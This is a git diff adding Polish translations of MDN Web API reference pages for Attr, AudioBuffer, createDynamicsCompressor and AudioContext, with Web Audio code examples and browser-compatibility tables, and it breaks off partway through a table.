<dt><code>attributes</code></dt> + <dd>Obecnie zawsze zwraca <code>NULL</code>.</dd> + <dt><code>childNodes</code> {{obsolete_inline(14)}}</dt> + <dd>Ta właściwość obecnie zawsze zwraca pusty {{domxref("NodeList")}}.</dd> + <dt><code>firstChild</code> {{obsolete_inline(14)}}</dt> + <dd>Obecnie zawsze zwraca <code>NULL</code>.</dd> + <dt><code>isId</code> {{readOnlyInline}}</dt> + <dd>Wskazuje czy atrybut jest atrybutem "ID". An "ID" jest atrybutem, którego wartość powinna być unikalna w całym dokumencie DOM. W HTML DOM, "id" to atrybut ID, ale XML może definiować inne. To, czy atrybut jest unikalny, czy nie, jest często determinowane przez {{Glossary("DTD")}} lub inny schemat dokumentu.</dd> + <dt><code>lastChild</code> {{obsolete_inline(14)}}</dt> + <dd>Obecnie zawsze zwraca <code>NULL</code>.</dd> + <dt><code>nextSibling</code></dt> + <dd>Obecnie zawsze zwraca <code>NULL</code>.</dd> + <dt><code>nodeName</code></dt> + <dd>Zamiast tego używaj {{domxref("Attr.name")}} .</dd> + <dt><code>nodeType</code></dt> + <dd>Obecnie zawsze zwraca 2 (<code>ATTRIBUTE_NODE</code>).</dd> + <dt><code>nodeValue</code></dt> + <dd>Zamiast tego używaj {{domxref("Attr.value")}}.</dd> + <dt><code>ownerDocument</code></dt> + <dd>Nie powinieneś był tego używać, więc prawdopodobnie nie obchodzi cię, że to zniknie.</dd> + <dt><code>parentNode</code></dt> + <dd>Obecnie zawsze zwraca <code>NULL</code>.</dd> + <dt><code>previousSibling</code></dt> + <dd>Obecnie zawsze zwraca <code>NULL</code>.</dd> + <dt><code>schemaTypeInfo</code> {{obsolete_inline}} {{readOnlyInline}}</dt> + <dd>Typ informacji powiązane z tym atrybutem. Podczas gdy typ informacji zawierany przez ten atrybut ma gwarantowaną poprawność po waładowaniu dokumentu lub wywołaniu {{domxref("Document.normalizeDocument")}}, ta właściwość może nie być wiarygodna jeśli węzeł został przeniesiony.</dd> + <dt><code>specified</code></dt> + <dd>Obecnie zawsze zwraca <code>true</code>.</dd> + <dt><code>textContent</code></dt> + <dd>Zamiast tego używaj {{domxref("Attr.value")}}.</dd> +</dl> + +<p>Poniższe metody są przestarzałe:</p> + +<dl> + <dt><code>appendChild()</code> {{obsolete_inline(14)}}</dt> + <dd>Zamiast tego, modyfikuj wartość {{domxref("Attr.value")}}.</dd> + <dt><code>cloneNode()</code></dt> + <dd>Nie powinieneś był tego używać, więc prawdopodobnie nie obchodzi cię, że to zniknie.</dd> + <dt><code>createAttribute()</code></dt> + <dd>Zamiast tego używaj {{domxref("Element.setAttribute()")}}.</dd> + <dt><code>createAttributeNS()</code></dt> + <dd>Zamiast tego używaj {{domxref("Element.setAttributeNS()")}}.</dd> + <dt><code>getAttributeNode()</code></dt> + <dd>Zamiast tego używaj {{domxref("Element.getAttribute()")}}.</dd> + <dt><code>getAttributeNodeNS()</code></dt> + <dd>Zamiast tego używaj {{domxref("Element.getAttributeNS()")}}.</dd> + <dt><code>hasAttributes()</code> {{obsolete_inline("21.0")}}</dt> + <dd>Obecnie zawsze zwraca <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">false</span></font>.</dd> + <dt><code>hasChildNodes()</code></dt> + <dd>Obecnie zawsze zwraca <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">false</span></font>.</dd> + <dt><code>insertBefore()</code></dt> + <dd>Zamiast tego modyfikuj wartość {{domxref("Attr.value")}}.</dd> + <dt><code>isSupported()</code></dt> + <dd>Nie powinieneś był tego używać, więc prawdopodobnie nie obchodzi cię, że to zniknie.</dd> + <dt><code>isEqualNode()</code></dt> + <dd>Nie powinieneś był tego używać, więc prawdopodobnie nie obchodzi cię, że to zniknie.</dd> + <dt><code>normalize()</code></dt> + <dd>Nie powinieneś był tego używać, więc prawdopodobnie nie obchodzi cię, że to zniknie.</dd> + <dt><code>removeAttributeNode()</code></dt> + <dd>Zamiast tego używaj {{domxref("Element.removeAttribute()")}}.</dd> + <dt><code>removeChild()</code> {{obsolete_inline(14)}}</dt> + <dd>Zamiast tego, modyfikuj wartość {{domxref("Attr.value")}} instead.</dd> + <dt><code>replaceChild()</code> {{obsolete_inline(14)}}</dt> + <dd>Zamiast tego, modyfikuj wartość {{domxref("Attr.value")}} instead.</dd> + <dt><code>setAttributeNode()</code></dt> + <dd>Zamiast tego używaj {{domxref("Element.setAttribute()")}}.</dd> + <dt><code>setAttributeNodeNS()</code></dt> + <dd>Zamiast tego używaj {{domxref("Element.setAttributeNS()")}}.</dd> +</dl> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("DOM WHATWG", "#interface-attr", "Attr")}}</td> + <td>{{Spec2("DOM WHATWG")}}</td> + <td>Przywraca właściwość <code>ownerElement</code> </td> + </tr> + <tr> + <td>{{SpecName("DOM4", "#interface-attr", "Attr")}}</td> + <td>{{Spec2("DOM4")}}</td> + <td> + <ul> + <li>Przenosi <code>namespaceURI</code>, <code>prefix</code> i <code>localName</code> z {{domxref("Node")}} do tego API i usuwa <code>ownerElement</code>, <code>schemaTypeInfo</code> oraz <code>isId</code>.</li> + </ul> + </td> + </tr> + <tr> + <td>{{SpecName("DOM3 Core", "core.html#ID-637646024", "Attr")}}</td> + <td>{{Spec2("DOM3 Core")}}</td> + <td>Wstępna definicja</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + + + +<p>{{Compat("api.Attr")}}</p> diff --git a/files/pl/web/api/audiobuffer/index.html b/files/pl/web/api/audiobuffer/index.html new file mode 100644 index 0000000000..ea611b7250 --- /dev/null +++ b/files/pl/web/api/audiobuffer/index.html @@ -0,0 +1,174 @@ +--- +title: AudioBuffer +slug: Web/API/AudioBuffer +translation_of: Web/API/AudioBuffer +--- +<p>{{APIRef("Web Audio API")}}</p> + +<div> +<p>Interfejs <code>AudioBuffer</code> przedstawia krótki zasób dźwiękowy znajdujący się w pamięci, stworzony z pliku dźwiękowego za pomocą metody {{ domxref("AudioContext.decodeAudioData()") }} lub z surowych danych przy użyciu {{ domxref("AudioContext.createBuffer()") }}. Dane audio umieszczone w AudioBuffer mogą być następnie odtwarzane przez przekazanie ich do {{ domxref("AudioBufferSourceNode") }}.</p> +</div> + +<p>Obiekty tego typu są przeznaczone do przechowywania drobnych fragmentów dźwiękowych, zwykle mniej niż 45s. W przypadku dłuższych dźwięków, obiekty implementujące {{domxref("MediaElementAudioSourceNode")}} są bardziej odpowiednie. Bufor zawiera dane w następującym formacie: IEEE754 32 -bitowy liniowy PCM bez przeplotu o nominalnym zakresie między -1 i +1 , czyli 32-bitowy zmiennoprzecinkowy bufor z próbkami o znormalizowanych wartościach między -1.0 a 1.0. Jeśli {{domxref("AudioBuffer")}} ma wiele kanałów, są one przechowywane w osobnym buforze.</p> + +<h2 id="Właściwości">Właściwości</h2> + +<dl> + <dt>{{domxref("AudioBuffer.sampleRate")}} {{readonlyInline}}</dt> + <dd>Zwraca wartość typu <code>float</code> reprezentującą częstotliwość próbkowania danych PCM przechowywanych w buforze wyrażoną w próbkach na sekundę.</dd> + <dt>{{domxref("AudioBuffer.length")}} {{readonlyInline}}</dt> + <dd>Zwraca wartość typu <code>int</code> reprezentującą wielkość danych PCM przechowywanych w buforze wyrażoną jako liczba okien próbek.</dd> + <dt>{{domxref("AudioBuffer.duration")}} {{readonlyInline}}</dt> + <dd>Zwraca wartość typu <code>double </code>reprezentującą czas trwania danych PCM zapisanych w buforze wyrażoną w sekundach.</dd> + <dt>{{domxref("AudioBuffer.numberOfChannels")}} {{readonlyInline}}</dt> + <dd>Zwraca wartość typu<code> int</code> reprezentującą liczbę pojedynczych kanałów audio opisanych przez dane PCM zapisanych w buforze.</dd> +</dl> + +<h2 id="Metody">Metody</h2> + +<dl> + <dt>{{domxref("AudioBuffer.getChannelData()")}}</dt> + <dd>Zwraca tablicę {{jsxref("Float32Array")}} zawierającą dane PCM powiązane z kanałem audio określonym jako parametr <code>channel</code> <code>(0</code> reprezentuje pierwszy kanał).</dd> + <dt>{{domxref("AudioBuffer.copyFromChannel()")}}</dt> + <dd>Kopiuje próbki z danego kanału w <span class="idlType"><code>AudioBuffer</code></span> do danej tablicy.</dd> + <dt>{{domxref("AudioBuffer.copyToChannel()")}}</dt> + <dd>Kopiuje próbki z danej tablicy do danego <span class="idlType"><code>kanału w AudioBuffer</code></span>.</dd> +</dl> + +<h2 id="Przykład">Przykład</h2> + +<p>Następujący przykład kodu pokazuje jak stworzyć <code>AudioBuffer</code> i wypełnić go białym szumem. Pełną wersję kodu można znależć w naszym repozytorium <a href="https://github.com/mdn/audio-buffer">audio-buffer demo</a>; jest dostępna także uruchomiona na żywo wersja <a href="http://mdn.github.io/audio-buffer/">running live version</a>.</p> + +<pre class="brush: js;highlight:[7,14,27]">// Stereo +var channels = 2; + +// Tworzenie pustego, dwusekundowego buffera stereo +// na wskaźniku audio z AudioContext +var frameCount = audioCtx.sampleRate * 2.0; +var myArrayBuffer = audioCtx.createBuffer(channels, frameCount, audioCtx.sampleRate); + +button.onclick = function() { + // Wypełnienie buffera białym szumem; + // Wartość losowa pomiędzy -1.0 a 1.0 + for (var channel = 0; channel < channels; channel++) { + // To daje nam aktualną tablice zawierającą dane + var nowBuffering = myArrayBuffer.getChannelData(channel); + for (var i = 0; i < frameCount; i++) { + // Math.random() znajduje się w przedziale [0; 1.0] + // audio musi znajdować się w [-1.0; 1.0] + nowBuffering[i] = Math.random() * 2 - 1; + } + } + + // Dostarczenie AudioBufferSourceNode. + // To jest AudioNode dedykowane do używania wtedy, kiedy chcemy odtworzyć dany AudioBuffer + var source = audioCtx.createBufferSource(); + + // Określanie buffera w AudioBufferSourceNode + source.buffer = myArrayBuffer; + + // Podłączanie AudioBufferSourceNode do + // destynacji, dzięki czemu możemy usłyszeć dźwięk + source.connect(audioCtx.destination); + + // start odtwarzania źródła + source.start(); + +} +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('Web Audio API', '#the-audiobuffer-interface', 'AudioBuffer')}}</td> + <td>{{Spec2('Web Audio API')}}</td> + <td>Definicja wstępna.</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Cecha</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Wsparcie podstawowe</td> + <td>14 {{property_prefix("webkit")}}</td> + <td>{{CompatGeckoDesktop(25)}}</td> + <td>{{CompatNo}}</td> + <td>15 {{property_prefix("webkit")}}<br> + 22</td> + <td>6 {{property_prefix("webkit")}}</td> + </tr> + <tr> + <td><code>copyFromChannel()</code> and <code>copyToChannel()</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoDesktop(27)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Cecha</th> + <th>Android</th> + <th>Chrome</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Wsparcie podstawowe</td> + <td>{{CompatNo}}</td> + <td>28 {{property_prefix("webkit")}}</td> + <td>{{CompatGeckoMobile(25)}}</td> + <td>1.2</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>6 {{property_prefix("webkit")}}</td> + </tr> + <tr> + <td><code>copyFromChannel()</code> and <code>copyToChannel()</code></td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile(27)}}</td> + <td> </td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Używanie Web Audio API</a></li> +</ul> diff --git a/files/pl/web/api/audiocontext/createdynamicscompressor/index.html b/files/pl/web/api/audiocontext/createdynamicscompressor/index.html new file mode 100644 index 0000000000..7788cc64a9 --- /dev/null +++ b/files/pl/web/api/audiocontext/createdynamicscompressor/index.html @@ -0,0 +1,142 @@ +--- +title: AudioContext.createDynamicsCompressor() +slug: Web/API/AudioContext/createDynamicsCompressor +translation_of: Web/API/BaseAudioContext/createDynamicsCompressor +--- +<p>{{ APIRef("Web Audio API") }}</p> + +<div> +<p>Metoda <code>createDynamicsCompressor() </code>interfejsu domxref("AudioContext") }} jest używana do utworzenia {{domxref("DynamicsCompressorNode")}}, który może być zastosowany do dodawania kompresji na sygnał audio.</p> +</div> + +<p>Kompresja zcisza najgłośniejsze fragmenty sygnału i podgłaśnia najcichsze. W rezultacie możemy uzyskać głośniejszy, bogatszy i pełniejszy dźwięk. Jest to szczególnie istotne w przypadku gier oraz aplikacji muzycznych, w których duża ilość dźwięków jest odtwarzana jednocześnie oraz tam, gdzie chcesz kontrolować poziom sygnału głównego i unikać zniekształceń sygnału wyjściowego audio.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="brush: js">var audioCtx = new AudioContext(); +var compressor = audioCtx.createDynamicsCompressor();</pre> + +<h3 id="Zwracanie_wartości_funkcji_(return)">Zwracanie wartości funkcji (return)</h3> + +<p>{{domxref("DynamicsCompressorNode")}}.</p> + +<h2 id="Przykład">Przykład</h2> + +<p>Poniższy kod przedstawia przykład prostego zastosowania createDynamicsCompressor() w celu dodania kompresji do ścieżki dźwiękowej. Pełniejszy przykład znajdziesz klikając na nasz <a href="https://mdn.github.io/webaudio-examples/compressor-example/">przykład podstawowego kompresora</a> (<a href="https://github.com/mdn/webaudio-examples/tree/master/compressor-example">zobacz kod źródłowy</a>).</p> + +<pre class="brush: js;highlight[6,18,19]">// utworzenie MediaElementAudioSourceNode +// wprowadzenie HTMLMediaElement +var source = audioCtx.createMediaElementSource(myAudio); + +// utworzenie węzła kompresora (compressor node) +var compressor = audioCtx.createDynamicsCompressor(); +compressor.threshold.value = -50; +compressor.knee.value = 40; +compressor.ratio.value = 12; +compressor.reduction.value = -20; +compressor.attack.value = 0; +compressor.release.value = 0.25; + +// podłączenie AudioBufferSourceNode do destynacji +source.connect(audioCtx.destination); + +button.onclick = function() { + var active = button.getAttribute('data-active'); + if(active == 'false') { + button.setAttribute('data-active', 'true'); + button.innerHTML = 'Remove compression'; + + source.disconnect(audioCtx.destination); + source.connect(compressor); + compressor.connect(audioCtx.destination); + } else if(active == 'true') { + button.setAttribute('data-active', 'false'); + button.innerHTML = 'Add compression'; + + source.disconnect(compressor); + compressor.disconnect(audioCtx.destination); + source.connect(audioCtx.destination); + } +}</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('Web Audio API', '#widl-AudioContext-createDynamicsCompressor-DynamicsCompressorNode', 'createDynamicsCompressor()')}}</td> + <td>{{Spec2('Web Audio API')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Cecha</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Wsparcie podstawowe</td> + <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop(25.0)}} </td> + <td>{{CompatNo}}</td> + <td>15.0{{property_prefix("webkit")}}<br> + 22 (unprefixed)</td> + <td>6.0{{property_prefix("webkit")}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Cecha</th> + <th>Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Wsparcie podstawowe</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>26.0</td> + <td>1.2</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>33.0</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Używanie Web Audio API</a></li> +</ul> diff --git a/files/pl/web/api/audiocontext/index.html b/files/pl/web/api/audiocontext/index.html new file mode 100644 index 0000000000..db5d07d69c --- /dev/null +++ b/files/pl/web/api/audiocontext/index.html @@ -0,0 +1,293 @@ +--- +title: AudioContext +slug: Web/API/AudioContext +translation_of: Web/API/AudioContext +--- +<p>{{APIRef("Web Audio API")}}</p> + +<div> +<p>Interfejs <code>AudioContext</code> reprezentuje wykres przetwarzania sygnału audio, utworzonego z połączonych ze sobą modułów audio, przy czym każdy z tych modułów reprezentowany jest przez {{domxref("AudioNode")}}. Kontekst audio kontroluje zarówno powstawanie zawartych w nim powiązań, jak również realizację przetwarzania audio lub dekodowania. Niezbędne jest stworzenie AudioContext przez wprowadzeniem czegokolwiek innego, jako że wszystko dzieje się w kontekście.</p> +</div> + +<p>AudioCintext może stanowić cel (target) eventów, dlatego implementuje inferfejs {{domxref("EventTarget")}}.</p> + +<h2 id="Konstruktor">Konstruktor</h2> + +<dl> + <dt>{{domxref("AudioContext.AudioContext", "AudioContext()")}}</dt> + <dd>Tworzy i zwraca nowy obiekt <code>AudioContext</code>.</dd> +</dl> + +<h2 id="Właściwości">Właściwości</h2> + +<dl> + <dt>{{domxref("AudioContext.currentTime")}} {{readonlyInline}}</dt> + <dd>Zwraca <code>double</code> reprezentujące stale liczony czas w sekundach, używany do przyporządkowywania. Rozpoczyna się od 0.</dd> + <dt>{{domxref("AudioContext.destination")}} {{readonlyInline}}</dt> + <dd>Zwraca {{domxref("AudioDestinationNode")}} reprezentujące ostateczny cel wszyskich audio w kontekście. Należy traktować go jako urządzenie interpretujące audio.</dd> + <dt>{{domxref("AudioContext.listener")}} {{readonlyInline}}</dt> + <dd>Zwraca obiekt {{domxref("AudioListener")}}, używany do przestrzenności 3D.</dd> + <dt>{{domxref("AudioContext.sampleRate")}} {{readonlyInline}}</dt> + <dd>Zwraca<code> float</code> reprezentujący wskaźnik próbkowania (w samplach na sekundę) używany we wszystkich połączeniach w tym kontekście. Wskaźnik próbkowania {{domxref("AudioContext")}} nie może być zmieniany.</dd> + <dt>{{domxref("AudioContext.state")}} {{readonlyInline}}</dt> + <dd>Zwraca aktualny status <code>AudioContext</code>.</dd> + <dt>{{domxref("AudioContext.mozAudioChannelType")}} {{ non-standard_inline() }} {{readonlyInline}}</dt> + <dd>Używany do zwracania kanału audio, tak by grany dźwięk w {{domxref("AudioContext")}} był poprawnie odtwarzany na urządządzeniu Firefox OS.</dd> +</dl> + +<h3 id="Event_handlers">Event handlers</h3> + +<dl> + <dt>{{domxref("AudioContext.onstatechange")}}</dt> + <dd>An event handler that runs when an event of type {{event("statechange")}} has fired. This occurs when the <code>AudioContext</code>'s state changes, due to the calling of one of the state change methods ({{domxref("AudioContext.suspend")}}, {{domxref("AudioContext.resume")}}, or {{domxref("AudioContext.close")}}).</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<p><em>Also implements methods from the interface </em>{{domxref("EventTarget")}}.</p> + +<dl> + <dt>{{domxref("AudioContext.close()")}}</dt> + <dd>Closes the audio context, releasing any system audio resources that it uses.</dd> + <dt>{{domxref("AudioContext.createBuffer()")}}</dt> + <dd>Creates a new, empty {{ domxref("AudioBuffer") }} object, which can then be populated by data and played via an {{ domxref("AudioBufferSourceNode") }}.</dd> + <dt>{{domxref("AudioContext.createConstantSource()")}}</dt> + <dd>Creates a {{domxref("ConstantSourceNode")}} object, which is an audio source that continuously outputs a monaural (one-channel) sound signal whose samples all have the same value.</dd> + <dt>{{domxref("AudioContext.createBufferSource()")}}</dt> + <dd>Creates an {{domxref("AudioBufferSourceNode")}}, which can be used to play and manipulate audio data contained within an {{ domxref("AudioBuffer") }} object. {{ domxref("AudioBuffer") }}s are created using {{domxref("AudioContext.createBuffer")}} or returned by {{domxref("AudioContext.decodeAudioData")}} when it successfully decodes an audio track.</dd> + <dt>{{domxref("AudioContext.createMediaElementSource()")}}</dt> + <dd>Creates a {{domxref("MediaElementAudioSourceNode")}} associated with an {{domxref("HTMLMediaElement")}}. This can be used to play and manipulate audio from {{HTMLElement("video")}} or {{HTMLElement("audio")}} elements.</dd> + <dt>{{domxref("AudioContext.createMediaStreamSource()")}}</dt> + <dd>Creates a {{domxref("MediaStreamAudioSourceNode")}} associated with a {{domxref("MediaStream")}} representing an audio stream which may come from the local computer microphone or other sources.</dd> + <dt>{{domxref("AudioContext.createMediaStreamDestination()")}}</dt> + <dd>Creates a {{domxref("MediaStreamAudioDestinationNode")}} associated with a {{domxref("MediaStream")}} representing an audio stream which may be stored in a local file or sent to another computer.</dd> + <dt>{{domxref("AudioContext.createScriptProcessor()")}}</dt> + <dd>Creates a {{domxref("ScriptProcessorNode")}}, which can be used for direct audio processing via JavaScript.</dd> + <dt>{{domxref("AudioContext.createStereoPanner()")}}</dt> + <dd>Creates a {{domxref("StereoPannerNode")}}, which can be used to apply stereo panning to an audio source.</dd> + <dt>{{domxref("AudioContext.createAnalyser()")}}</dt> + <dd>Creates an {{domxref("AnalyserNode")}}, which can be used to expose audio time and frequency data and for example to create data visualisations.</dd> + <dt>{{domxref("AudioContext.createBiquadFilter()")}}</dt> + <dd>Creates a {{domxref("BiquadFilterNode")}}, which represents a second order filter configurable as several different common filter types: high-pass, low-pass, band-pass, etc.</dd> + <dt>{{domxref("AudioContext.createChannelMerger()")}}</dt> + <dd>Creates a {{domxref("ChannelMergerNode")}}, which is used to combine channels from multiple audio streams into a single audio stream.</dd> + <dt>{{domxref("AudioContext.createChannelSplitter()")}}</dt> + <dd>Creates a {{domxref("ChannelSplitterNode")}}, which is used to access the individual channels of an audio stream and process them separately.</dd> + <dt>{{domxref("AudioContext.createConvolver()")}}</dt> + <dd>Creates a {{domxref("ConvolverNode")}}, which can be used to apply convolution effects to your audio graph, for example a reverberation effect.</dd> + <dt>{{domxref("AudioContext.createDelay()")}}</dt> + <dd>Creates a {{domxref("DelayNode")}}, which is used to delay the incoming audio signal by a certain amount. This node is also useful to create feedback loops in a Web Audio API graph.</dd> + <dt>{{domxref("AudioContext.createDynamicsCompressor()")}}</dt> + <dd>Creates a {{domxref("DynamicsCompressorNode")}}, which can be used to apply acoustic compression to an audio signal.</dd> + <dt>{{domxref("AudioContext.createGain()")}}</dt> + <dd>Creates a {{domxref("GainNode")}}, which can be used to control the overall volume of the audio graph.</dd> + <dt>{{domxref("AudioContext.createIIRFilter()")}}</dt> + <dd>Creates an {{domxref("IIRFilterNode")}}, which represents a second order filter configurable as several different common filter types.</dd> + <dt>{{domxref("AudioContext.createOscillator()")}}</dt> + <dd>Creates an {{domxref("OscillatorNode")}}, a source representing a periodic waveform. It basically generates a tone.</dd> + <dt>{{domxref("AudioContext.createPanner()")}}</dt> + <dd>Creates a {{domxref("PannerNode")}}, which is used to spatialise an incoming audio stream in 3D space.</dd> + <dt>{{domxref("AudioContext.createPeriodicWave()")}}</dt> + <dd>Creates a {{domxref("PeriodicWave")}}, used to define a periodic waveform that can be used to determine the output of an {{ domxref("OscillatorNode") }}.</dd> + <dt>{{domxref("AudioContext.createWaveShaper()")}}</dt> + <dd>Creates a {{domxref("WaveShaperNode")}}, which is used to implement non-linear distortion effects.</dd> + <dt>{{domxref("AudioContext.createAudioWorker()")}}</dt> + <dd>Creates an {{domxref("AudioWorkerNode")}}, which can interact with a web worker thread to generate, process, or analyse audio directly. This was added to the spec on August 29 2014, and is not implemented in any browser yet.</dd> + <dt>{{domxref("AudioContext.decodeAudioData()")}}</dt> + <dd>Asynchronously decodes audio file data contained in an {{domxref("ArrayBuffer")}}. In this case, the ArrayBuffer is usually loaded from an {{domxref("XMLHttpRequest")}}'s <code>response</code> attribute after setting the <code>responseType</code> to <code>arraybuffer</code>. This method only works on complete files, not fragments of audio files.</dd> + <dt>{{domxref("AudioContext.getOutputTimestamp()")}}</dt> + <dd>Returns a new <code>AudioTimestamp</code> containing two correlated context's audio stream position values: the <code>AudioTimestamp.contextTime</code> member contains the time of the sample frame which is currently being rendered by the audio output device (i.e., output audio stream position), in the same units and origin as context's {{domxref("AudioContext.currentTime")}}; the AudioTimestamp.performanceTime member contains the time estimating the moment when the sample frame corresponding to the stored contextTime value was rendered by the audio output device, in the same units and origin as {{domxref("performance.now()")}}.</dd> + <dt>{{domxref("AudioContext.resume()")}}</dt> + <dd>Resumes the progression of time in an audio context that has previously been suspended.</dd> + <dt>{{domxref("AudioContext.suspend()")}}</dt> + <dd>Suspends the progression of time in the audio context, temporarily halting audio hardware access and reducing CPU/battery usage in the process.</dd> +</dl> + +<h2 id="Obsolete_methods">Obsolete methods</h2> + +<dl> + <dt>{{domxref("AudioContext.createJavaScriptNode()")}}</dt> + <dd>Creates a {{domxref("JavaScriptNode")}}, used for direct audio processing via JavaScript. This method is obsolete, and has been replaced by {{domxref("AudioContext.createScriptProcessor()")}}.</dd> + <dt>{{domxref("AudioContext.createWaveTable()")}}</dt> + <dd>Creates a {{domxref("WaveTableNode")}}, used to define a periodic waveform. This method is obsolete, and has been replaced by {{domxref("AudioContext.createPeriodicWave()")}}.</dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<p>Basic audio context declaration:</p> + +<pre class="brush: js">var audioCtx = new AudioContext();</pre> + +<p>Cross browser variant:</p> + +<pre class="brush: js">var AudioContext = window.AudioContext || window.webkitAudioContext; +var audioCtx = new AudioContext(); + +var oscillatorNode = audioCtx.createOscillator(); +var gainNode = audioCtx.createGain(); +var finish = audioCtx.destination; +// etc.</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Web Audio API', '#the-audiocontext-interface', 'AudioContext')}}</td> + <td>{{Spec2('Web Audio API')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}<br> + 35</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop(25.0)}} </td> + <td>{{CompatNo}}</td> + <td>15.0{{property_prefix("webkit")}}<br> + 22</td> + <td>6.0{{property_prefix("webkit")}}</td> + </tr> + <tr> + <td><code>createStereoPanner()</code></td> + <td>{{CompatChrome(42.0)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop(37.0)}} </td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><code>onstatechange</code>, <code>state</code>, <code>suspend()</code>, <code>resume()</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop(40.0)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><code>createConstantSource()</code></td> + <td>{{CompatChrome(56.0)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoDesktop(52)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatOpera(43)}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>Unprefixed</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td> </td> + <td> </td> + <td> </td> + <td> </td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android Webview</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop(37.0)}} </td> + <td>2.2</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + 